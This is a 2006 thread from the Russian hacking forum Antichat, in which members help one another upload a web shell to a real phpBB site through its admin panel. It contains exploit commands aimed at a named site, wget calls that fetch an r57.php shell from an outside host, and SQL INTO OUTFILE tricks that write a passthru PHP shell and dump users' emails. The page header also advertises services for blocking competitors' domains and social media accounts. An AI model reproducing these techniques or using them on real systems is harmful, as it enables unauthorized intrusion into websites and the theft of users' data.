Форум АНТИЧАТ - phpBB. Как залить шелл через уязвимость в admin

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
phpBB. Как залить шелл через уязвимость в admin_styles?

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

phpBB. Как залить шелл через уязвимость в admin_styles?

13.01.2006, 18:49

Grema

Участник форума

Регистрация: 29.11.2005

Сообщений: 122

Провел на форуме:
1050637

Репутация: 27

phpBB. Как залить шелл через уязвимость в admin_styles?

Как залить шелл? есть админка, есть r57phpbb_admin.pl
юзаю его... пытаюсь сдлеать wget не пашет... как правельно юзать wget? может я чтото неправельно написал?
З.Ы. стоит Linux

13.01.2006, 19:02

Azazel

Заведующий всем

Регистрация: 17.04.2005

Сообщений: 1,062

Провел на форуме:
5957900

Репутация: 561

wget -o серверный_путь путь_к_твоему_шеллу.
В следующий раз попробуй найти это через поиск.
зы. wget может вообще не быть. В общем всё это ещё раз описывалось в течении двух последних дней.

__________________
Full DNS report

13.01.2006, 20:12

Grema

Участник форума

Регистрация: 29.11.2005

Сообщений: 122

Провел на форуме:
1050637

Репутация: 27

чтото не кактит...
з.Ы. wget есть точно...
юзал так

Код:

V:\Kxe\exploit>admin.pl -p http://pvp-alfa.ru/phpBB2/admin/ -s 772dfdcc06191a8f3
da9b8e161c6856e -c "wget -o /home/webadmin/pvp-alfa.com.ru/html/phpBB2/cache/r57
.php http://games.tenet.ua/board/uploads/r57.php"

и так

Код:

V:\Kxe\exploit>admin.pl -p http://pvp-alfa.ru/phpBB2/admin/ -s 772dfdcc06191a8f3
da9b8e161c6856e -c "wget -o r57.php http://games.tenet.ua/board/uploads/r57.php"

13.01.2006, 20:42

Nova

OpenVPN.CC

Регистрация: 15.07.2005

Сообщений: 1,599

Провел на форуме:
7670961

Репутация: 1034

Отправить сообщение для Nova с помощью ICQ

Цитата:

Сообщение от Grema

Поюзай поиск на форуме это уже обсуждалось !
Azazel правильно сказал !

13.01.2006, 20:44

_-[A.M.D]HiM@S-_

Green member

Регистрация: 28.12.2005

Сообщений: 376

Провел на форуме:
5559831

Репутация: 1833

Через БД

13.01.2006, 20:48

Nova

OpenVPN.CC

Регистрация: 15.07.2005

Сообщений: 1,599

Провел на форуме:
7670961

Репутация: 1034

Цитата:

Сообщение от _-[A.M.D]HiM@S-_

Через БД

а не влом сливать 30 метров базы к примеру править её и заливать обратно ????

а если как на этом форуме http://пожалуста.безссылок.ru

Там пользователей и тем валом у них база 1GB весит не бось....
Так что это не вариант.....

Последний раз редактировалось Azazel; 13.01.2006 в 22:32..

13.01.2006, 22:21

_-[A.M.D]HiM@S-_

Green member

Регистрация: 28.12.2005

Сообщений: 376

Провел на форуме:
5559831

Репутация: 1833

Там помойму стоит 2.0.16

14.01.2006, 01:29

_lolik_

Познающий

Регистрация: 08.01.2006

Сообщений: 91

Провел на форуме:
115752

Репутация: 5

Отправить сообщение для _lolik_ с помощью ICQ

SELECT email FROM users INTO OUTFILE 'c:/text.txt'
это для мейлов, дла хешей немного другая команда в БД

14.01.2006, 03:22

Grrl

Участник форума

Регистрация: 17.07.2004

Сообщений: 181

Провел на форуме:
560754

Репутация: 97

сливать базу не обязательно можно и подругому - так создать файл с содержанием:

UPDATE phpbb_categories SET cat_title='<? passthru("$cmd"); ?>'WHERE cat_id=1;
SELECT cat_title INTO OUTFILE '/home/bla_bla_bla/shell.php' FROM phpbb_categories where cat_id=1;

потом просто выбираешь в админке восстановить базу и указываешь путь к этому файу. это создаст шел не испортив основную базу.

#10

14.01.2006, 10:16

Grema

Участник форума

Регистрация: 29.11.2005

Сообщений: 122

Провел на форуме:
1050637

Репутация: 27

там стоит 2.0.17

Страница 1 из 2

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
залить шелл через ipb 2.0.4	alakazam	Форумы	4	16.11.2005 22:08
Вопрос о залиаке шелла через phpBB 2.0.6.	Guest	Форумы	6	23.12.2004 22:12
Как залить шелл через PhPBB	SheFF	Форумы	5	29.11.2004 01:25
Как залить шелл через IPB форум, при отсутствии ftp?	bbmz	Форумы	1	26.11.2004 18:15

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход